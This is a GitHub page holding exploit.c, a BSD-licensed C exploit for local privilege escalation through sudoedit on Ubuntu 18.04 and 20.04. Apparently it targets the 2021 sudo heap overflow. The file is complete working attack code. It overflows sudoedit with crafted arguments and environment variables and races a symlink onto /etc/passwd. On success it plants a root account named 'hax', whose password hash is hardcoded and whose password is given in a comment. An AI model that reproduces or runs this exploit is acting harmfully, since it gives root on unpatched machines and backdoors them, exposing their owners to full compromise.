-
Notifications
You must be signed in to change notification settings - Fork 692
/
exploit.c
132 lines (109 loc) · 3.97 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
/*
BSD 2-Clause License
Copyright (c) 2021, rajvardhan agarwal
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// Exploit by @r4j0x00
// Thanks to cts (@gf_256) for help
// Works on ubuntu 18.04 and 20.04
// gcc exploit.c -o exploit
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <pwd.h>
#define passwd_file "/etc/passwd"
size_t get_passwd_size() {
struct stat st;
stat(passwd_file, &st);
return st.st_size;
}
char * str_repeat(char a, size_t n) {
char * s = malloc(n+1);
for(int i=0;i<n;++i)
s[i] = a;
s[n] = 0;
return s;
}
char * concat(const char * a, const char * b) {
size_t len_a = strlen(a);
size_t len_b = strlen(b);
size_t size = len_a + len_b;
char * s = malloc(size+1);
int i;
for(i=0;i<len_a;++i) s[i] = a[i];
for(i=0;i<len_b;++i) s[len_a+i] = b[i];
s[size] = 0;
return s;
}
char * get_random_string(size_t n) {
const char * charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
srand(time(NULL));
char * s = malloc(n+1);
for(int i=0;i<n;++i) s[i] = charset[rand() % 52];
s[n] = 0;
return s;
}
char * get_user() {
struct passwd *pw;
uint64_t uid;
uid = getuid();
pw = getpwuid(uid);
if(!pw) {
puts("????");
exit(1);
}
return strdup(pw->pw_name);
}
const char * contents = "\n\nhax:$6$q4tutskpH4.ezGv9$/R6eIP3viVO4oIds5WIqZPN5bQYT/Z1w9s6q6jw.6bO3FTohiFD1L1Jk9EhQdLiv1MeZOCF71PB41dTI2eV3C1:0:0:hax:/root:/bin/bash\n\n"; // password: hax
int main(void) {
system("cp /etc/passwd /tmp/passwd_bak");
size_t initial_size = get_passwd_size();
char * basedir_name = get_random_string(0x20);
char * dirname = malloc(0x100);
char * timestamp_file = malloc(0x100);
const char * c = str_repeat('C', 0x10000);
const char * lc = concat("LC_MESSAGES=C.UTF-8@", str_repeat('L', 0xb0));
const char * user = get_user();
for(int i=0;i<0x1000;++i) {
sprintf(dirname, "%s%d", basedir_name, i);
sprintf(timestamp_file, "%s/%s", dirname, user);
char *env[] = {concat(str_repeat('A', 47), dirname) , contents, lc, "SUDO_ASKPASS=/bin/false", c, NULL};
char * a = concat(str_repeat('A', 0xf0),"\\");
char * argv[] = {"/usr/bin/sudoedit", "-A", "-s", a, NULL};
int pid = fork();
if(!pid) {
execve(argv[0], argv, env);
exit(0);
}
usleep(1000);
mkdir(dirname, 0700);
symlink(passwd_file, timestamp_file);
waitpid(pid, 0, 0);
if(get_passwd_size() != initial_size) {
puts("[+] Success!");
puts("Make sure to copy back /etc/passwd from /tmp/passwd_bak!");
exit(0);
}
}
puts("Failed");
}